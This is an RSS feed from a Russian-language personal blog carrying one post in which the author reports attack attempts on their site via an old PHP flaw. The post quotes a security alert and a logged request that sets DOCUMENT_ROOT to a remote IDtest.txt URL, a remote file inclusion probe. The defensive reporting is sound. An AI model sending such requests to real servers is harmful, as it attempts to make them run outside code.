<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>NetSpider - персональный блог &#187; idtest.txt</title>
	<atom:link href="http://netspider.com.ua/index.php/tag/idtest-txt/feed/" rel="self" type="application/rss+xml" />
	<link>http://netspider.com.ua</link>
	<description>заметки на компьютерную тематику</description>
	<lastBuildDate>Sat, 04 Sep 2010 08:31:21 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Скрипткиды или боты</title>
		<link>http://netspider.com.ua/index.php/2009/10/05/skriptkidy-ili-boty/</link>
		<comments>http://netspider.com.ua/index.php/2009/10/05/skriptkidy-ili-boty/#comments</comments>
		<pubDate>Mon, 05 Oct 2009 21:25:46 +0000</pubDate>
		<dc:creator>NetSpider</dc:creator>
				<category><![CDATA[Главная]]></category>
		<category><![CDATA[apache]]></category>
		<category><![CDATA[document_root]]></category>
		<category><![CDATA[get]]></category>
		<category><![CDATA[idtest.txt]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[скрипткид]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[уязвимость]]></category>
		<category><![CDATA[хак]]></category>

		<guid isPermaLink="false">http://netspider.com.ua/index.php/2009/10/05/skriptkidy-ili-boty/</guid>
		<description><![CDATA[Хакеры, а точнее скрипткиды, не спят. Несколько дней назад на мой сайт начали проводиться попытки атак запросами, эксплуатирующими старую уязвимость в PHP.

/var/log/messages:
 Oct  4 03:23:34 220 suhosin[28420]: ALERT &#8211; tried to register forbidden variable &#8216;_SERVER[DOCUMENT_ROOT]&#8216; through GET variables (attacker &#8216;77.242.37.212&#8216;, file &#8216;/xxx/domain.tld/index.php&#8217;)

Пример запроса (из лога апача):
 211.111.213.195 &#8211; - [05/Oct/2009:08:26:22 +0300] &#8220;GET //?_SERVER[DOCUMENT_ROOT]=http://www.hotlinkfiles.com/files/2380695_oajch/IDtest.txt??? HTTP/1.1&#8243; 302 [...]


Похожие записи:<ol><li><a href='http://netspider.com.ua/index.php/2009/12/23/istoriya-yuzer-agentov/' rel='bookmark' title='Permanent Link: История Юзер-агентов'>История Юзер-агентов</a></li>
<li><a href='http://netspider.com.ua/index.php/2010/02/28/3rvx-ekrannyj-indikator-gromkosti-zvuka/' rel='bookmark' title='Permanent Link: 3RVX &ndash; экранный индикатор громкости звука'>3RVX &ndash; экранный индикатор громкости звука</a></li>
<li><a href='http://netspider.com.ua/index.php/2010/05/16/plugin-check-adobe-epic-fail/' rel='bookmark' title='Permanent Link: Plugin Check: Adobe Epic Fail'>Plugin Check: Adobe Epic Fail</a></li>
</ol>]]></description>
		<wfw:commentRss>http://netspider.com.ua/index.php/2009/10/05/skriptkidy-ili-boty/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
